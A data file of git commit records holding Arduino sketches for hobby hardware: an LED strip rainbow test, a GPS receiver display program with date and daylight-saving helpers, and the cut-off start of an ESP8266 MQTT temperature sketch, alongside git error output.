sketch","message":"anavi-miracle-controller-rainbow.ino: Test sketch\n\nSimple sketch for quickly testing WS2812B LED strips. Rainbow is\nshown on both LED stips. Press RESET button to redraw the rainbow.\n\nSigned-off-by: Leon Anavi <be92910ae7bb6f58bb9b7c6f845bc30640119592@anavi.org>\n","repos":"AnaviTech\/anavi-examples,AnaviTech\/anavi-examples","old_file":"anavi-miracle-controller\/anavi-miracle-controller-rainbow\/anavi-miracle-controller-rainbow.ino","new_file":"anavi-miracle-controller\/anavi-miracle-controller-rainbow\/anavi-miracle-controller-rainbow.ino","new_contents":"#include <FS.h> \n#include <ESP8266WiFi.h> \/\/https:\/\/github.com\/esp8266\/Arduino\n\n\/\/ For gesture sensor\n#include \"Adafruit_APDS9960.h\"\n\n\/\/ For OLED display\n#include <U8g2lib.h>\n\/\/ For I2C\n#include <Wire.h>\n\n\/\/ For FastLED\n#define FASTLED_ESP8266_RAW_PIN_ORDER\n#include <FastLED.h>\n\n#define LED_PIN1 12\n#define LED_PIN2 14\n#define NUM_LEDS 10\n#define BRIGHTNESS 64\n#define LED_TYPE WS2812\n#define COLOR_ORDER GRB\n#define FRAMES_PER_SECOND 120\n\nCRGB leds1[NUM_LEDS];\nCRGB leds2[NUM_LEDS];\n\nU8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2(U8G2_R0, \/* reset=*\/ U8X8_PIN_NONE);\n\nconst int pinButton = 0;\nconst int i2cDisplayAddress = 0x3c;\n\nint currentPosition = 1;\n\nvoid drawDisplay(const char *line1, const char *line2 = \"\", const char *line3 = \"\")\n{\n \/\/ Write on OLED display\n \/\/ Clear the internal memory\n u8g2.clearBuffer();\n \/\/ Set appropriate font\n u8g2.setFont(u8g2_font_ncenR14_tr);\n u8g2.drawStr(0,14, line1);\n u8g2.setFont(u8g2_font_ncenR10_tr);\n u8g2.drawStr(0,39, line2);\n u8g2.setFont(u8g2_font_ncenR14_tr);\n u8g2.drawStr(0,64, line3);\n \/\/ Transfer internal memory to the display\n u8g2.sendBuffer();\n}\n\nbool isSensorAvailable(int sensorAddress)\n{\n \/\/ Check if I2C sensor is present\n Wire.beginTransmission(sensorAddress);\n return 0 == Wire.endTransmission();\n}\n\nvoid checkDisplay()\n{\n Serial.print(\"Mini I2C OLED Display at address \");\n Serial.print(i2cDisplayAddress, HEX);\n if (isSensorAvailable(i2cDisplayAddress))\n {\n Serial.println(\": OK\");\n }\n else\n {\n Serial.println(\": N\/A\");\n }\n}\n\nvoid rainbow(CRGB *leds, uint8_t gHue, uint8_t gVal, int numToFill)\n{\n CHSV hsv;\n hsv.hue = gHue;\n hsv.val = gVal;\n hsv.sat = 240;\n for( int i = 0; i < numToFill; i++) {\n leds[i] = hsv;\n hsv.hue += 7;\n }\n}\n\nvoid setup()\n{\n Serial.begin(115200);\n Serial.println();\n\n Serial.println(\"ANAVI Miracle Controller\");\n Serial.println(\"------------------------------\");\n Serial.println(\"Control LED strip with gesture\");\n Serial.println(\"------------------------------\");\n\n Wire.begin();\n checkDisplay();\n u8g2.begin();\n delay(10);\n\n drawDisplay(\"Miracle Controller\", \"Test\", \"Sketch\");\n\n FastLED.addLeds<LED_TYPE, LED_PIN1, COLOR_ORDER>(leds1, NUM_LEDS).setCorrection( TypicalLEDStrip );\n FastLED.addLeds<LED_TYPE, LED_PIN2, COLOR_ORDER>(leds2, NUM_LEDS).setCorrection( TypicalLEDStrip );\n FastLED.setBrightness( BRIGHTNESS );\n\n \/\/ Turn on lights\n rainbow(leds1, 0, 255, NUM_LEDS);\n rainbow(leds2, 0, 255, NUM_LEDS);\n FastLED.show();\n delay(100);\n Serial.println(\"LED strips have been initialized!\");\n}\n\nvoid loop()\n{\n if (false == digitalRead(pinButton))\n {\n \/\/ Turn on lights\n rainbow(leds1, 0, 255, NUM_LEDS);\n rainbow(leds2, 0, 255, NUM_LEDS);\n FastLED.show();\n delay(100);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'anavi-miracle-controller\/anavi-miracle-controller-rainbow\/anavi-miracle-controller-rainbow.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7e3bb12593b02029cb87c8af4b6c990fc7cebbae","subject":"v1.0 Initial release","message":"v1.0 Initial release","repos":"Grommet123\/GPSLCD,Grommet123\/GPSLCD","old_file":"GPSLCD.ino","new_file":"GPSLCD.ino","new_contents":"\/* GPS LCD\n\n By GK Grotsky\n 8\/30\/16\n\n This program communicate with the u-blox NEO-6M GPS module\n through a software serial interface. It then displays certain GPS\n parameters on a I2C 16x2 (or 20x4) character LCD display module. The\n GPS messages are received by the on-board Arduino UART circuit using\n the SoftwareSerial library. It then uses the TinyGPS++ library to\n decode the GPS NMEA messages. The parameters are then displayed on a\n 16x4 (or 20x4) LCD using the LiquidCrystal_I2C library.\n\n Note: Both the 16x2 and 20x4 LCDs are supported as these are the most popular\n LCDs available.\n*\/\n#include \"GPSLCD.h\"\n#include <TinyGPS++.h>\n#include <SoftwareSerial.h>\n#include <LiquidCrystal_I2C.h>\n\nTinyGPSPlus gps; \/\/ This is the GPS object that will pretty much do all the grunt work with the NMEA data\nSoftwareSerial GPSModule(10, 11); \/\/ RX, TX\nLiquidCrystal_I2C lcd(I2C_ADDR, En_pin, Rw_pin, Rs_pin, D4_pin, D5_pin, D6_pin, D7_pin); \/\/ Initializes class variables and defines the I2C address of the LCD\nbool dataValid; \/\/ Data is valid from the GPS module\nGPSStruct GPSData; \/\/ Holds the GPS data coming from the GPS module\n\n\/\/ The setup (runs once at start up)\nvoid setup()\n{\n pinMode(BACKLIGHT_SW, INPUT);\n\n#ifdef _16x2\n \/\/ Selects either speed or heading to be displayed\n pinMode(SPEED_ALTITUDE_SW, INPUT);\n#else\n \/\/ Selects either altitude or the date\/time to be displayed\n pinMode(ALTITUDE_DATE_TIME_SW, INPUT);\n#endif\n\n GPSModule.begin(9600); \/\/ This opens up communications to the software serial tx and rx lines\n GPSModule.flush();\n\n lcd.begin (COLUMN, ROW); \/\/ Defines LCD type\n lcd.setBacklightPin(BACKLIGHT_PIN, POSITIVE); \/\/ Sets the pin to control the backlight\n lcd.clear(); \/\/ Clear the LCD\n lcd.home (); \/\/ Go to the home position on the LCD\n} \/\/ setup\n\n\/\/ The loop (runs forever and a day :-))\nvoid loop()\n{\n static uint32_t pastSatellites = 0;\n static uint8_t initializingCounter = 0;\n static unsigned long prevInitializationTime = INITIALIZATION_INTERVAL;\n static unsigned long prevCreditTime = TOGGLETIME_INTERVAL;\n static unsigned long prevInvalidSatellitesTime = TOGGLETIME_INTERVAL;\n static bool leftInitialization = false;\n static bool creditToggle = true;\n static bool invalidSatellitesToggle = true;\n#ifndef _16x2\n static unsigned long prevDateTime = TOGGLETIME_INTERVAL;\n static unsigned long prevHeadingTime = TOGGLETIME_INTERVAL;\n static unsigned long prevHdopTime = TOGGLETIME_INTERVAL;\n static bool dateTimeToggle = true;\n static bool headingToggle = true;\n static bool hdopToggle = true;\n#endif\n#ifdef DATA_VALID_OVERRIDE\n const bool dataValidOverride = true; \/\/ Set true to override data valid for debugging\n#else\n const bool dataValidOverride = false; \/\/ Set false not to override data valid\n#endif\n#ifdef BACKLIGHT_OVERRIDE\n \/\/ Override LCD backlight switch\n \/\/ Force LCD backlight on\/off\n lcd.setBacklight(BACKLIGHT_ONOFF);\n#else\n \/\/ Turn LCD backlight on\/off\n lcd.setBacklight(digitalRead(BACKLIGHT_SW));\n#endif\n unsigned long now = millis();\n\n while (GPSModule.available()) \/\/ While there are characters to come from the GPS\n {\n bool b = gps.encode(GPSModule.read()); \/\/ This feeds the serial NMEA data into the GPS library one char at a time\n }\n\n \/\/ Get the GPS data valid flags\n dataValid =\n gps.location.isValid() &&\n gps.speed.isValid() &&\n gps.altitude.isValid() &&\n gps.course.isValid() &&\n gps.date.isValid() &&\n gps.time.isValid() &&\n gps.satellites.isValid() &&\n gps.hdop.isValid();\n\n \/\/ Check if the GPS data is valid or data valid override is set (for debugging)\n if (dataValid || dataValidOverride) {\n#ifndef DATA_VALID_OVERRIDE\n \/\/ Store the real GPS data\n GPSData.satellites = gps.satellites.value();\n GPSData.lat = gps.location.lat();\n GPSData.lon = gps.location.lng();\n GPSData.speed = gps.speed.mph();\n GPSData.altitude = gps.altitude.feet();\n#ifndef _16x2\n GPSData.heading = gps.course.deg();\n GPSData.hdop = gps.hdop.value();\n GPSData.year = gps.date.year();\n GPSData.month = gps.date.month();\n GPSData.day = gps.date.day();\n GPSData.hour = gps.time.hour();\n GPSData.minute = gps.time.minute();\n GPSData.second = gps.time.second();\n#endif \/\/ #ifndef _16x2\n#else \/\/ #ifndef DATA_VALID_OVERRIDE\n \/\/ Store the fake GPS data (for debugging)\n GPSData.satellites = 0; \/\/ Invalid satellites\n GPSData.lat = 39.16d; \/\/ East coast\n GPSData.lon = -77.07d; \/\/ \"\n GPSData.speed = 55.0d;\n GPSData.altitude = 555.0d;\n#ifndef _16x2\n GPSData.heading = 60.0d; \/\/ ENE or NE (16 cardinal points or 8 cardinal points)\n GPSData.hdop = 150;\n GPSData.year = 2016;\n GPSData.month = 11; \/\/ Day before ST starts\n GPSData.day = 5; \/\/ \"\n GPSData.hour = 23; \/\/ 7pm my local time\n GPSData.minute = 10;\n GPSData.second = 25;\n#endif \/\/ #ifndef _16x2\n#endif \/\/ #ifndef DATA_VALID_OVERRIDE\n \/\/ Clear the screen once when leaving initialization\n if (!leftInitialization) {\n leftInitialization = true;\n lcd.clear(); \/\/ Clear the LCD\n }\n \/\/ Display the latest info from the gps object which it derived from the data sent by the GPS unit\n \/\/ Send data to the LCD\n#ifdef _16x2 \/\/------------------------------------------------------\n lcd.home (); \/\/ Go to 1st line\n lcd.print(\"Lat: \");\n lcd.print(GPSData.lat);\n lcd.setCursor (11, 0);\n lcd.print(\"SV:\");\n if ((pastSatellites != GPSData.satellites) || (GPSData.satellites == 0)) {\n pastSatellites = GPSData.satellites;\n if (GPSData.satellites == 0) {\n \/\/ Toggle invalid satellites indicator every TOGGLETIME_INTERVAL seconds\n if (now - prevInvalidSatellitesTime > TOGGLETIME_INTERVAL \/ 4) {\n prevInvalidSatellitesTime = now;\n if (invalidSatellitesToggle) {\n invalidSatellitesToggle = false;\n lcd.print(\"XX\");\n }\n else {\n invalidSatellitesToggle = true;\n lcd.print(\" \");\n } \/\/ if (invalidSatellitesToggle)\n } \/\/ if (now - prevInvalidSatellitesTime > TOGGLETIME_INTERVAL)\n } \/\/ if (GPSData.satellites == 0)\n else if (GPSData.satellites <= 9) {\n lcd.print(\" \"); \/\/ Blank leading char\n lcd.print(GPSData.satellites);\n }\n else {\n lcd.print(GPSData.satellites);\n }\n } \/\/ if ((pastSatellites != GPSData.satellites) || (GPSData.satellites == 0))\n lcd.setCursor (0, 1); \/\/ Go to 2nd line\n lcd.print(\"Lon: \");\n lcd.print(GPSData.lon);\n if ((digitalRead(SPEED_ALTITUDE_SW))) {\n lcd.setCursor (12, 1);\n if (GPSData.speed < SPEED_CUTOUT) {\n lcd.print(\"0 \");\n }\n else {\n lcd.print((int16_t)GPSData.speed);\n lcd.print(\" \"); \/\/ Clear the extra char\n }\n }\n else {\n lcd.print(\" \"); \/\/ Clear the extra chars\n if (GPSData.altitude <= 99.9) {\n lcd.setCursor (14, 1);\n }\n else {\n lcd.setCursor (13, 1);\n }\n lcd.print((int16_t)GPSData.altitude); \/\/ Altitude\n \/\/ Toggle credit every TOGGLETIME_INTERVAL seconds\n if (now - prevCreditTime > (TOGGLETIME_INTERVAL \/ 2)) {\n prevCreditTime = now;\n if (creditToggle) { \/\/ Display credit\n creditToggle = false;\n lcd.print(\" \"); \/\/ Clear the extra chars\n lcd.print(CREDIT); \/\/ Yours truly :-)\n }\n else {\n creditToggle = true;\n lcd.print(\" \"); \/\/ Clear the extra chars\n }\n } \/\/ if (now - prevCreditTime > TOGGLETIME_INTERVAL)\n } \/\/ if ((digitalRead(SPEED_ALTITUDE_SW)))\n#else \/\/ 20x4 ----------------------------------------------------\n lcd.home (); \/\/ Go to 1st line\n lcd.print(\"Lat: \");\n lcd.print(GPSData.lat);\n lcd.setCursor (15, 0);\n lcd.print(\"SV:\");\n if ((pastSatellites != GPSData.satellites) || (GPSData.satellites == 0)) {\n pastSatellites = GPSData.satellites;\n if (GPSData.satellites == 0) {\n \/\/ Toggle invalid satellites indicator every TOGGLETIME_INTERVAL seconds\n if (now - prevInvalidSatellitesTime > TOGGLETIME_INTERVAL \/ 3) {\n prevInvalidSatellitesTime = now;\n if (invalidSatellitesToggle) {\n invalidSatellitesToggle = false;\n lcd.print(\"XX\");\n }\n else {\n invalidSatellitesToggle = true;\n lcd.print(\" \");\n } \/\/ if (invalidSatellitesToggle)\n } \/\/ if (now - prevInvalidSatellitesTime > TOGGLETIME_INTERVAL)\n } \/\/ if (GPSData.satellites == 0)\n else if (GPSData.satellites <= 9) {\n lcd.print(\" \"); \/\/ Blank leading char\n lcd.print(GPSData.satellites);\n }\n else {\n lcd.print(GPSData.satellites);\n }\n } \/\/ if ((pastSatellites != GPSData.satellites) || (GPSData.satellites == 0))\n lcd.setCursor (0, 1); \/\/ Go to 2nd line\n lcd.print(\"Lon: \");\n lcd.print(GPSData.lon);\n#ifndef CONVERT_TO_LOCAL\n \/\/ Only display if time\/date is selected\n if (!(digitalRead(ALTITUDE_DATE_TIME_SW))) {\n lcd.print(\" \"); \/\/ Clear the extra chars\n uint8_t DOW = dayOfWeek(GPSData.year, GPSData.month, GPSData.day);\n if (IsDST(GPSData.day, GPSData.month, DOW)) {\n lcd.print(\"DST\");\n }\n else {\n lcd.print(\" ST\");\n }\n }\n else {\n lcd.print(\" \"); \/\/ Clear the extra chars\n }\n#else \/\/ #ifndef CONVERT_TO_LOCAL\n \/\/ Display Horizontal Dilution of Precision (Hdop) with the format X.X\n \/\/ It comes in from the GPS module as XXX\n \/\/ If you care how Hdop is computed (I don't :-(), see the following:\n \/\/ http:\/\/www2.unb.ca\/gge\/Resources\/gpsworld.may99.pdf\n uint32_t hdopInteger = GPSData.hdop \/ 100;\n uint32_t hdopFarction = (GPSData.hdop - (hdopInteger * 100)) \/ 10;\n lcd.print(\" Hdop:\");\n if (hdopInteger < 10) {\n lcd.print(hdopInteger); \/\/ Integer part\n lcd.print(\".\");\n lcd.print(hdopFarction); \/\/ Fraction part\n }\n else {\n \/\/ Hdop value too large for my LCD, so cross it out\n \/\/ Toggle Hdop indicator every TOGGLETIME_INTERVAL seconds\n if (now - prevHdopTime > TOGGLETIME_INTERVAL \/ 3) {\n prevHdopTime = now;\n if (hdopToggle) {\n hdopToggle = false;\n lcd.print(\"XXX\");\n }\n else {\n hdopToggle = true;\n lcd.print(\" \");\n } \/\/ if (hdopToggle)\n } \/\/ if (now - prevHdopTime > TOGGLETIME_INTERVAL)\n } \/\/ if (hdopInteger < 10)\n#endif \/\/ #ifndef CONVERT_TO_LOCAL\n lcd.setCursor (0, 2); \/\/ Go to 3rd line\n lcd.print(\"Spd: \");\n if (GPSData.speed < SPEED_CUTOUT) {\n lcd.print(\"0 \");\n }\n else {\n lcd.print((int16_t)GPSData.speed);\n lcd.print(\" \"); \/\/ Clear the extra chars\n }\n lcd.setCursor (12, 2);\n lcd.print(\"Hdg: \");\n if (GPSData.speed < SPEED_CUTOUT) {\n lcd.print(\"0 \");\n }\n else {\n \/\/ Toggle heading every TOGGLETIME_INTERVAL seconds\n if (now - prevHeadingTime > TOGGLETIME_INTERVAL) {\n prevHeadingTime = now;\n if (headingToggle) { \/\/ Display cardinal heading\n headingToggle = false;\n lcd.print(cardinal(GPSData.heading));\n }\n else { \/\/ Display degrees heading\n headingToggle = true;\n lcd.print((int16_t)GPSData.heading);\n if (GPSData.heading <= 99.9) lcd.print(\" \"); \/\/ Clear the extra char\n } \/\/ if (headingToggle)\n } \/\/ if (now - prevHeadingTime > TOGGLETIME_INTERVAL)\n } \/\/ if (GPSData.speed < SPEED_CUTOUT)\n lcd.setCursor (0, 3); \/\/ Go to 4th line\n if ((digitalRead(ALTITUDE_DATE_TIME_SW))) {\n lcd.print(\"Alt: \");\n lcd.print((int16_t)GPSData.altitude);\n \/\/ Toggle credit every TOGGLETIME_INTERVAL seconds\n if (now - prevCreditTime > (TOGGLETIME_INTERVAL \/ 2)) {\n prevCreditTime = now;\n if (creditToggle) { \/\/ Display credit\n creditToggle = false;\n lcd.print(\" \"); \/\/ Clear the extra chars\n lcd.print(CREDIT); \/\/ Yours truly :-)\n }\n else {\n creditToggle = true;\n lcd.print(\" \"); \/\/ Clear the extra chars\n }\n } \/\/ if (now - prevCreditTime > TOGGLETIME_INTERVAL)\n prevDateTime = TOGGLETIME_INTERVAL;\n dateTimeToggle = true; \/\/ Default first to display date\n } \/\/ if ((digitalRead(ALTITUDE_DATE_TIME_SW)))\n else {\n \/\/ Toggle date\/time every TOGGLETIME_INTERVAL seconds\n if (now - prevDateTime > TOGGLETIME_INTERVAL) {\n prevDateTime = now;\n if (dateTimeToggle) {\n \/\/ Display date\n dateTimeToggle = false;\n lcd.print(\"Date: \");\n uint8_t hour = GPSData.hour;\n uint8_t day = GPSData.day;\n uint8_t month = GPSData.month;\n uint16_t year = GPSData.year;\n#ifdef CONVERT_TO_LOCAL\n \/\/ Convert UTC date to local date\n bool DST = convertToLocal (&hour, &year, &month,\n &day, GPSData.lon, true); \/\/ true means date conversion\n#endif \/\/ #ifdef CONVERT_TO_LOCAL\n if (month < 10) lcd.print(\"0\");\n lcd.print(month);\n lcd.print(\"\/\");\n if (day < 10) lcd.print(\"0\");\n lcd.print(day);\n lcd.print(\"\/\");\n lcd.print(year);\n printDay (dayOfWeek (year, month, day));\n } \/\/ if (dateTimeToggle)\n else {\n \/\/ Display time\n dateTimeToggle = true;\n lcd.print(\"Time: \");\n uint8_t hour = GPSData.hour;\n uint8_t day = GPSData.day;\n uint8_t month = GPSData.month;\n uint16_t year = GPSData.year;\n#ifdef CONVERT_TO_LOCAL\n \/\/ Convert UTC time to local time (no need to convert the date)\n bool DST = convertToLocal (&hour, &year, &month,\n &day, GPSData.lon, false); \/\/ false means no date conversion\n#else \/\/ #ifdef CONVERT_TO_LOCAL\n#ifdef DISPLAY_12_HOUR\n if (hour == 0) { \/\/ 12 hour clocks don't display 0\n hour = 12;\n }\n#endif \/\/ #ifdef DISPLAY_12_HOUR\n#endif \/\/ #ifdef CONVERT_TO_LOCAL\n#ifdef DISPLAY_12_HOUR\n char AMPM[] = \"am\";\n if (hour >= 12) { \/\/ Convert to 12 hour format\n if (hour > 12) hour -= 12;\n strcpy (AMPM, \"pm\");\n }\n#endif\n if (hour < 10) lcd.print(\"0\");\n lcd.print(hour);\n lcd.print(\":\");\n if (GPSData.minute < 10) lcd.print(\"0\");\n lcd.print(GPSData.minute);\n lcd.print(\":\");\n if (GPSData.second < 10) lcd.print(\"0\");\n lcd.print(GPSData.second);\n#ifdef DISPLAY_12_HOUR\n lcd.print(AMPM);\n#endif \/\/ #ifdef DISPLAY_12_HOUR\n#ifdef CONVERT_TO_LOCAL\n#ifdef DISPLAY_12_HOUR\n (DST) ? lcd.print(\" DST\") : lcd.print(\" ST\");\n#else \/\/ #ifdef DISPLAY_12_HOUR\n (DST) ? lcd.print(\" DST\") : lcd.print(\" ST\");\n#endif \/\/ #ifdef DISPLAY_12_HOUR\n#endif \/\/ #ifndef CONVERT_TO_LOCAL\n#ifndef CONVERT_TO_LOCAL\n#ifdef DISPLAY_12_HOUR\n lcd.print(\" UTC\");\n#else \/\/ #ifdef DISPLAY_12_HOUR\n lcd.print(\" UTC\");\n#endif \/\/ #ifdef DISPLAY_12_HOUR\n#endif \/\/ #ifndef CONVERT_TO_LOCAL\n } \/\/ if (dateTimeToggle)\n } \/\/ if (now - prevDateTime > TOGGLETIME_INTERVAL)\n } \/\/ if ((digitalRead(ALTITUDE_DATE_TIME_SW)))\n#endif \/\/------------------------------------------------------------\n } \/\/ if (dataValid)\n else {\n \/\/ GPS data is not valid, so it must be initializing\n#ifdef _16x2 \/\/------------------------------------------------------\n \/\/ Display initialization screen once every INITIALIZATION_INTERVAL\n if (now - prevInitializationTime > INITIALIZATION_INTERVAL) {\n prevInitializationTime = now;\n lcd.setCursor (6, 0); \/\/ Go to 1st line\n lcd.print(\"GPS\");\n lcd.setCursor (11, 0);\n lcd.print(\"v\");\n lcd.print(VERSION);\n lcd.setCursor (2, 1); \/\/ Go to 2nd line\n lcd.print(\"Initializing\");\n lcd.setCursor (15, 1);\n if (++initializingCounter > 9) initializingCounter = 1; \/\/ Limit 1 - 9\n lcd.print(initializingCounter);\n leftInitialization = false;\n }\n#else \/\/ 20x4 -------------------------------------------------------\n \/\/ Display initialization screen once every INITIALIZATION_INTERVAL\n if (now - prevInitializationTime > INITIALIZATION_INTERVAL) {\n prevInitializationTime = now;\n lcd.setCursor (8, 0); \/\/ Go to 1st line\n lcd.print(\"GPS\");\n lcd.setCursor (14, 0);\n lcd.print(\"v\");\n lcd.print(VERSION);\n lcd.setCursor (4, 1); \/\/ Go to 2nd line\n lcd.print(\"Initializing\");\n lcd.setCursor (6, 2); \/\/ Go to 3rd line\n lcd.print(\"Data Not\");\n lcd.setCursor (7, 3); \/\/ Go to 4th line\n lcd.print(\"Valid\");\n lcd.setCursor (19, 3);\n if (++initializingCounter > 9) initializingCounter = 1; \/\/ Limit 1 - 9\n lcd.print(initializingCounter);\n leftInitialization = false;\n }\n#endif \/\/------------------------------------------------------------\n } \/\/ GPS data is not valid\n} \/\/ loop\n\n#ifndef _16x2\n\/* Helper functions start here\n\n Ripped off from Electrical Engineering Stack Exchange\n http:\/\/electronics.stackexchange.com\/questions\/66285\/how-to-calculate-day-of-the-week-for-rtc\n ------------------------------------------------------------\n Returns the number of days to the start of the specified year, taking leap\n years into account, but not the shift from the Julian calendar to the\n Gregorian calendar. Instead, it is as though the Gregorian calendar is\n extrapolated back in time to a hypothetical \"year zero\".\n*\/\nuint16_t leap (uint16_t year)\n{\n return year * 365 + (year \/ 4) - (year \/ 100) + (year \/ 400);\n}\n\/* Returns a number representing the number of days since March 1 in the\n hypothetical year 0, not counting the change from the Julian calendar\n to the Gregorian calendar that occurred in the 16th century. This\n algorithm is loosely based on a function known as \"Zeller's Congruence\".\n This number MOD 7 gives the day of week, where 0 = Monday and 6 = Sunday.\n*\/\nuint16_t zeller (uint16_t year, uint8_t month, uint8_t day)\n{\n year += ((month + 9) \/ 12) - 1;\n month = (month + 9) % 12;\n return leap (year) + month * 30 + ((6 * month + 5) \/ 10) + day + 1;\n}\n\n\/\/ Returns the day of week for a given date.\nuint8_t dayOfWeek (uint16_t year, uint8_t month, uint8_t day)\n{\n return (zeller (year, month, day) % 7) + 1;\n}\n\/\/----------------------------------------------------------\n\n\/\/ Print the day of the week on the LCD\nvoid printDay(uint8_t day)\n{\n if (day == 7) day = 0;\n switch (day)\n {\n case 0: lcd.print(\" Mon\"); break;\n case 1: lcd.print(\" Tue\"); break;\n case 2: lcd.print(\" Wed\"); break;\n case 3: lcd.print(\" Thu\"); break;\n case 4: lcd.print(\" Fri\"); break;\n case 5: lcd.print(\" Sat\"); break;\n case 6: lcd.print(\" Sun\"); break;\n default: lcd.print(\" Err\");\n }\n}\n\n\/\/ Compute the cardinal points of the compass\nconst char* cardinal(double course)\n{\n#ifdef _16CARDINAL\n const char* directions[] = {\"N \", \"NNE\", \"NE \", \"ENE\", \"E \", \"ESE\", \"SE \", \"SSE\",\n \"S \", \"SSW\", \"SW \", \"WSW\", \"W \", \"WNW\", \"NW \", \"NNW\"\n };\n#else\n const char* directions[] = {\"N \", \"N \", \"NE \", \"NE \", \"E \", \"E \", \"SE \", \"SE \",\n \"S \", \"S \", \"SW \", \"SW \", \"W \", \"W \", \"NW \", \"NW \"\n };\n#endif \/\/ #ifdef _16CARDINAL\n uint8_t direction = (uint8_t)((course + 11.25d) \/ 22.5d);\n return directions[direction % 16];\n}\n\n\/* Ripped off from Stackoverflow\n http:\/\/stackoverflow.com\/questions\/5590429\/calculating-daylight-saving-time-from-only-date\n\n Check to see if it's Daylight Savings Time (DST)\n*\/\nbool IsDST(uint8_t day, uint8_t month , uint8_t DOW)\n{\n \/\/ Make Day of Week (DOW) match with what Stackoverflow suggests\n \/\/ for DOW (Sunday = 0 to Saturday = 6)\n switch (DOW)\n {\n case 6: DOW = 0; break; \/\/ Sun\n case 7: DOW = 1; break; \/\/ Mon\n case 1: DOW = 2; break; \/\/ Tue\n case 2: DOW = 3; break; \/\/ Wed\n case 3: DOW = 4; break; \/\/ Thu\n case 4: DOW = 5; break; \/\/ Fri\n case 5: DOW = 6; break; \/\/ Sat\n default: break;\n }\n \/\/ January, February, and December are out\n if (month < 3 || month > 11) {\n return false;\n }\n \/\/ April to October are in\n if (month > 3 && month < 11) {\n return true;\n }\n int8_t previousSunday = (int8_t)(day - DOW);\n \/\/ In march, we are DST if our previous Sunday was on or after the 8th\n if (month == 3) {\n return previousSunday >= 8;\n }\n \/\/ In November we must be before the first Sunday to be DST\n \/\/ That means the previous Sunday must be before the 1st\n return previousSunday <= 0;\n}\n\n#ifdef CONVERT_TO_LOCAL\n\/* Convert UTC time and date to local time and date\n Difference between UTC time\/date (at Greenwich) and local time\/date is 15 minutes\n per 1 degree of longitude. See the following:\n http:\/\/www.edaboard.com\/thread101516.html\n*\/\nbool convertToLocal (uint8_t* hour, uint16_t* year, uint8_t* month,\n uint8_t* day, const double lon, bool convertDate) {\n\n uint8_t DaysAMonth [] = {31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31};\n\n \/\/ Get Day of Week (DOW)\n uint8_t DOW = dayOfWeek(*year, *month, *day);\n \/\/ Get Daylight Saving Time (DST) or Standard Time (ST)\n bool DST = IsDST(*day, *month, DOW);\n \/\/ Compute local time (hours)\n int8_t UTCOffset = (int8_t)(lon \/ 15.0d); \/\/ UTC offset\n if (UTCOffset < 0) {\n \/\/ West of Greenwich, subtract\n UTCOffset = abs(UTCOffset); \/\/ Make offset positive\n if (DST) --UTCOffset; \/\/ Compensate for DST\n if (*hour <= UTCOffset) *hour += 24;\n *hour = *hour - UTCOffset; \/\/ Subtract offset\n }\n else {\n \/\/ East of Greenwich, add\n if (DST) ++UTCOffset; \/\/ Compensate for DST\n if (*hour <= UTCOffset) *hour += 24;\n *hour = *hour + UTCOffset; \/\/ Add offset\n }\n \/\/ Convert date if convertDate flag is set\n \/\/ Portions of the following code (with some modifications) ripped off from Instructables\n \/\/ http:\/\/www.instructables.com\/id\/GPS-time-UTC-to-local-time-conversion-using-Arduin\/?ALLSTEPS\n if (convertDate) {\n if ((24 - *hour) <= UTCOffset) { \/\/ A new UTC day started\n if (*year % 4 == 0) DaysAMonth[1] = 29; \/\/leap year check (the simple method)\n if (*hour < 24) {\n *day -= 1;\n if (*day < 1) {\n if (*month == 1) {\n *month = 12;\n *year -= 1;\n } \/\/ if (*month == 1)\n else {\n *month -= 1;\n }\n *day = DaysAMonth[*month - 1];\n } \/\/ if (*day < 1)\n } \/\/ if (*hour < 24)\n else if (*hour >= 24) {\n day += 1;\n if (*day > DaysAMonth[*month - 1]) {\n *day = 1;\n *month += 1;\n if (*month > 12) *year += 1;\n } \/\/ if (*day > DaysAMonth[*month - 1])\n } \/\/ if (*hour >= 24)\n } \/\/ if ((24 - *hour) <= UTCOffset)\n } \/\/ if (convertDate)\n return (DST);\n}\n#endif \/\/ #ifdef CONVERT_TO_LOCAL\n#endif \/\/ #ifndef _16x2\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'GPSLCD.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5b5121461961724f7ff89543c1d382db10d51c24","subject":"Update shield_sdlog.ino","message":"Update shield_sdlog.ino","repos":"lolisa\/2014-15,lolisa\/2014-15,huskyroboticsteam\/2014-15,huskyroboticsteam\/2014-15,kaaLabs15\/Adafruit-GPS-Library,huskyroboticsteam\/2014-15,adafruit\/Adafruit-GPS-Library,lolisa\/2014-15,ulrichard\/Adafruit-GPS-Library,tonesandtones\/Adafruit-GPS-Library","old_file":"examples\/shield_sdlog\/shield_sdlog.ino","new_file":"examples\/shield_sdlog\/shield_sdlog.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/tonesandtones\/Adafruit-GPS-Library.git\/'\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"f2776c3470877d28b82923174c49e92c0ecdb77b","subject":"bug in relay status","message":"bug in relay status\n","repos":"chaeplin\/esp8266_and_arduino,chaeplin\/esp8266_and_arduino,chaeplin\/esp8266_and_arduino","old_file":"_02-mqtt-sw-temperature\/_02-mqtt-sw-temperature.ino","new_file":"_02-mqtt-sw-temperature\/_02-mqtt-sw-temperature.ino","new_contents":"#include <OneWire.h>\n#include \"DHT.h\"\n#include <PubSubClient.h>\n#include <ESP8266WiFi.h>\n#include <DallasTemperature.h>\n#include <WiFiUdp.h>\n#include <Time.h>\n\n#define _IS_MY_HOME\n\/\/ wifi\n#ifdef _IS_MY_HOME\n#include \"\/usr\/local\/src\/ap_setting.h\"\n#else\n#include \"ap_setting.h\"\n#endif\n\n#define DEBUG_PRINT 0\n\n\/\/ ****************\nconst char* ssid = WIFI_SSID;\nconst char* password = WIFI_PASSWORD;\nIPAddress mqtt_server = MQTT_SERVER;\nIPAddress time_server = MQTT_SERVER;\n\n\/\/ pin\n#define pir 13\n#define DHTPIN 14\n#define RELAYPIN 4\n#define TOPBUTTONPIN 5\n\n\/\/ DHT22\n#define DHTTYPE DHT22 \/\/ DHT 22 